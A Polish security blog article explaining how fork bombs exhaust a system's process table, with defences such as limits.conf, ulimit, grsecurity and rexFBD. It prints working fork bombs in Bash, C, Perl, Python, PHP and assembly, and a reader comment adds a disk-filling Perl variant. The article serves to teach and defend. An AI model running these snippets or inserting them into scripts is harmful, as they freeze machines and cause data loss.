NFsec Logo

Bash fork() bomb – rozwidlanie procesów

17/06/2009 w Bezpieczeństwo 1 komentarz.  (artykuł nr 75, ilość słów: 1081)

F

ork – bomba (ang. fork bomb) jest swego rodzaju atakiem Denial of Service prowadzącym do całkowitego wykorzystania zasobów systemowych. Metoda ta opiera się na szybkim stworzeniu wielu kopii programu, które unieruchomią system. Ponieważ w wieloprocesowym systemie tylko określona ilość procesów może być efektywnie wykonywana naraz, stworzenie odpowiednio dużej liczby procesów może unieruchomić system. Wykorzystując funkcję fork(), która służy do tworzenia nowych procesów, możemy zapełnić tablicę procesów systemu operacyjnego.

Tworząc odpowiedni program, polecenie możemy w nieskończoność tworzyć nowe procesy. Unieruchomienie takiej reakcji łańcuchowej jest praktycznie niemożliwe. W takiej sytuacji wywołanie nowego procesu (mającego na celu np. zabicie procesów bomby) jest wstrzymane do czasu zwolnienia choćby jednego wpisu, co jednak jest mało prawdopodobne, ponieważ każdy proces bomby jest gotów w tym momencie się rozmnożyć. Każdy z nowo utworzonych procesów wykonuje jakiś kod – działa w tle. Planista systemowy każdemu przydziela czas procesora. Ponieważ procesy tworzą nam się w nieskończoność, czas jaki im jest przydzielany dąży do 0. Takie działanie praktycznie unieruchamia system. Przejdźmy teraz do samego kodu, który wywoła taką bombę w naszym systemie. Wystarczy wydać w konsoli proste polecenie, którego twórcą jest Jaromil – włoski hacker, uważający bardziej swoją bombę za dzieło sztuki IRC ASCII:

:(){ :|:& };:

Nie polecamy uruchamiać go na maszynie, która nie ma ustawionych limitów. W ten sposób po prostu zawiesimy system. Żeby zrozumieć działanie tego polecenia, zapiszmy je w troszkę wygodniejszej formie:

:(){
  :|:&
};:

Na samym początku tworzona funkcja o nazwie :, która nie przyjmuje żadnych argumentów. W swoim ciele, które jest ograniczone znakami { } wywołuje się rekurencyjnie dwukrotnie, oraz przekazuje strumieniem swoje wyjście do innej instancji tej funkcji. Ten strumień to mechanizm nienazwanych potoków (ang. pipes, |). Następnie przechodzi do tła &, dzięki czemu zabicie procesu – ojca nie zabije procesów – potomków. Średnik kończy definicję funkcji, a końcowy dwukropek jest jej pierwszym wywołaniem. A tutaj bardziej przejrzysty zapis tej funkcji:

bomb() {
 bomb | bomb &
}; bomb

Tego rodzaju atak nie tylko wykorzystuje dostępne zasoby w tablicy procesów, ale czas i pamięć każdego z procesorów na atakowanej maszynie – w efekcie czego system oraz jego aktualnie wykonywane programy spowalniają znacznie pracę, stając się trudnymi lub niemożliwymi do dalszej obsługi. W szczególnych przypadkach bardzo często tego rodzaje ataku można spotkać podczas etapu rozwoju oprogramowania podczas, gdy nieświadomi, początkujący programiści implementując nowe funkcje w swoich dziełach, często zapominając o “ogranicznikach”, niektórych funkcji. Przypadki takie, można również spotkać w programach nasłuchujących na gniazdach sieciowych (ang. network sockets) – czyli zachowujących się jak serwery w systemach typu klient – serwer, gdy wymusza się na nich nieskończoną pętlę, aby nigdy nie kończyły swojego działania. Na szczęście testów na tego rodzaju oprogramowaniu nie przeprowadza się na maszynach produkcyjnych. Poniżej przedstawiamy przykład typowej fork bomby, która anonimowo przydzieli sobie pamięć sterty (ang. heap), powodując wyciek pamięci (ang. memory leak), tym samym zmuszając system operacyjny do wykorzystania nawet pamięci wirtualnej (ang. swap):

#include <stdlib.h>
#include <unistd.h>
 
int main(void) {
    /* Nieskończona pętla. */
    while (1) {
       /* Spróbuj przydzielić 1 MB pamięci. */
       malloc(1048576);
       /* Rozwidl procesy by uzyskać gwałtowny wzrost zużycia pamięci. */
       fork();
    }
 
    return EXIT_SUCCESS;
}

Poprzez przydzielenie sobie pamięci na stercie – bomba fork może przydzielić sobie największą dawkę minimalnej ilości pamięci RAM przydzielanej przez system operacyjny (ang. RAM footprint). Jednak na współczesnych systemach informatycznych prostsza bomba fork może jedynie osiągnąć limit pamięci operacyjnej zanim zostanie dopuszczona do pamięci wirtualnej. Innymi przykładami bomby fork – w żargonie nazywanej również “fork bunny” są proste zapisy w:

Jednoliniowym wierszu C:

main() for(;;)fork();

lub bardziej poprawnie:

#include 
 
int main(int argc, char* args[])
{
  while(1)
    fork();
  return 0;
}

Powłoce:

$0 & $0 &

Języku Perl:

#!/usr/bin/perl
fork while 1

lub

perl -e "fork while fork"

Pythonie:

import os
 
while(1):
     os.fork()

PHP:

while(1)
      pcntl_fork();

Czy w Asemblerze:

format ELF executable
entry start
start:
        push   0x2       ; wywołanie Linux fork
        pop    eax       ;
        int    0x80      ; odwołanie do jądra systemu
        jmp    start     ; pętla powrotna do początku

Kiedy uruchomimy na komputerze taką bombę, praktycznie staje się niemożliwe aby odzyskać kontrolę nad systemem bez jego ponownego uruchomienia. Tak naprawdę jedynym sposobem na zniszczenie takiej bomby jest zabicie wszystkich jej procesów. Niestety próba użycia programu do zabijania procesów kill, potrzebuje utworzenia odrębnego procesu, co może okazać się niemożliwe ze względu na brak wolnej pamięci lub, gdy nie ma wolnych miejsc w tablicy procesów. W powłoce zsh (ang. Z Shell) – opisaną bombę fork Jaromil’a możemy bez problemu usunąć za pomocą polecenia:

while (sleep 100 &!) do; done

Jednak jedyną skuteczną metodą obrony przed fork – bombami jest ustalenie górnego limitu procesów, jakie może utworzyć dany proces, lub użytkownik (dotyczy to również jego dalszych potomków). W momencie kiedy proces będzie próbował utworzyć inny proces, a jego rodzic posiada już więcej niż przewiduje maksimum – sklonowanie nie zachodzi. Wówczas na konsoli powinien wtedy pojawić się następujący komunikat:

-bash: fork: Resource temporarily unavailable

Maksimum powinno być wystarczająco niskie, aby w razie zaatakowania maszyny przez wielu użytkowników naraz pozostawić wystarczającą ilość wolnych zasobów na uniknięcie katastrofy. Powszechnie znana łata nakładana na kod źródłowy jądra Linux, zwiększającą jego bezpieczeństwo – grsecurity – umożliwia logowanie poszczególnych aktywności użytkowników, którzy wywołali bombę fork (ang. failed fork logging). Istnieje także ładowalny moduł jądra o nazwie rexFBD (ang. Fork Bomb Defuser!), który służy wykrywaniu oraz przeciwdziałaniu bombom fork. Jeśli nasz system posiada zainstalowane moduły PAM (ang. Pluggable Authentication Modules – nie wszystkie dystrybucje Linuksa używają tego rodzaju zabezpieczeń jako standardowego mechanizmu), powinniśmy ustawić odpowiednie limity dla poszczególnych grup / lub użytkowników bliżej interesując się strukturą pliku /etc/security/limits.conf, dla przykładu:

# Ogranicz procesy dla wszystkich użytkowników do 150:
*   soft    nproc   100
*   hard    nproc   150

Ograniczenie procesów możemy także wykonać poprzez mechanizm ograniczeń powłoki Bash jakim jest ulimit.

Więcej informacji: grsecurity, rexFBD, limits.conf, ZSH, ulimit, fork-bomb

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , ,

1 komentarz.

  1. Bardziej rozbudowany przykład w języku Perl:

    #!/usr/bin/perl
    open FILE, ">foobar.txt" or die "Couldn't open foobar.txt : $!\n"; while(1) { my $say = "A" x 1048576654; print FILE "$say"; fork(); }